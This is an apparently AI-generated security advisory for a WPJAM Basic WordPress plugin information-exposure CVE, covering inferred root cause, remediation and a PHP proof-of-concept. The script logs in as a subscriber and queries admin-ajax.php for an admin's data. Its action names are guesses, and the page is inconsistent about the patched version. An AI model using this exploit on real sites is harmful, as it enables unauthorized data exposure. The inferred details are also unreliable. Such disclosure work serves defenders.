Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66432: WPJAM Basic <= 7.0.2.1 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

Plugin wpjam-basic
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 7.0.2.1
Patched Version —
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66432 (metadata-based): This is an authenticated information exposure vulnerability in the WPJAM Basic WordPress plugin affecting versions up to and including 7.0.2.1. An attacker with a subscriber-level account (or any authenticated user) can extract sensitive user or configuration data from the site. The CVSS base score is 4.3 (Medium), reflecting low confidentiality impact, network attack vector, low attack complexity, and the requirement for low privileges. No user interaction is required.

The root cause is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Atomic Edge analysis infers that one or more AJAX handlers, REST routes, or admin-post endpoints registered by WPJAM Basic perform insufficient capability or nonce checks. Subscriber-level users can invoke these handlers because the plugin likely relies only on `is_user_logged_in()` or a missing/weak capability check (e.g., `current_user_can(‘subscriber’)` or no check at all). The endpoint then returns sensitive data such as user metadata, option values, API keys, or debug information. This conclusion is inferred from the CWE and description; no source code diff is available for confirmation. The plugin’s known heavy use of custom AJAX actions and admin-ajax handlers makes this the most probable attack surface.

Exploitation requires an authenticated session with at least subscriber privileges. The attacker sends a crafted request, typically to `/wp-admin/admin-ajax.php` with an action parameter matching a WPJAM Basic hook (e.g., `wpjam_get_user_data`, `wpjam_get_option`, or similar). Alternatively, a REST endpoint under a plugin namespace could be abused. The attacker includes a target identifier (user ID, option name, or module key) in the request. The plugin returns the requested sensitive data without verifying that the caller has the necessary capability. Atomic Edge research notes that the exact action name and parameter set are inferred from the plugin slug and common WordPress patterns; they should be validated against the live plugin or patched version.

Remediation for CVE-2026-66432 requires the plugin to add explicit capability checks (e.g., `current_user_can(‘manage_options’)`) and nonce verification on every AJAX, REST, and admin-post handler that returns sensitive data. The patched version 7.0.3 presumably adds these checks. Site owners should update to WPJAM Basic 7.0.3 or later. If immediate updating is not possible, virtual patching at the WAF layer can block requests to known vulnerable actions until the plugin is updated.

Impact: Successful exploitation allows any authenticated subscriber to read sensitive user or configuration data from the WordPress site. Depending on what the endpoint exposes, this could include user emails, password hashes (indirectly), API keys, license keys, SMTP credentials, or internal plugin settings. The confidentiality impact is low per CVSS, but the exposure can facilitate further attacks such as credential stuffing, privilege escalation, or site takeover if high-value secrets are leaked. Integrity and availability are not affected.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66432 - WPJAM Basic <= 7.0.2.1 - Authenticated (Subscriber+) Information Exposure
//
// ASSUMPTIONS:
// 1. The target WordPress site has WPJAM Basic <= 7.0.2.1 active.
// 2. The attacker possesses valid subscriber-level credentials.
// 3. The vulnerable endpoint is an admin-ajax.php action registered by the plugin.
//    The exact action name is inferred from the plugin slug and CWE-200. Common
//    WPJAM Basic handlers include 'wpjam_get_user_data' and 'wpjam_get_option'.
//    Adjust $action if the actual hook differs.
// 4. The plugin returns sensitive data without a proper capability check.

$target_url = 'http://localhost'; // Change to target WordPress URL
$username   = 'subscriber';      // Subscriber username
$password   = 'subscriber_pass'; // Subscriber password

// Endpoint and parameters (inferred)
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$action   = 'wpjam_get_user_data'; // Likely vulnerable action
$param    = 'user_id';              // Likely data selector
$value    = '1';                    // Target: admin user ID

// Step 1: Authenticate to obtain cookies
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log'         => $username,
    'pwd'         => $password,
    'wp-submit'   => 'Log In',
    'redirect_to' => '/wp-admin/',
    'testcookie'  => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_2026_66432_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

if ($login_response === false) {
    die("Login request failed.n");
}

// Step 2: Send the exploit request to admin-ajax.php using the authenticated session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => $action,
    $param   => $value,
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_2026_66432_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Display results
if ($response === false) {
    die("Exploit request failed.n");
}

echo "HTTP Status: {$http_code}n";
echo "Response body (potential sensitive data):n";
echo $response . "n";

// Note: A successful exploit returns sensitive data in the response.
// If the action name is unknown, enumerate common WPJAM actions by sending
// requests with different action values and observing responses.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.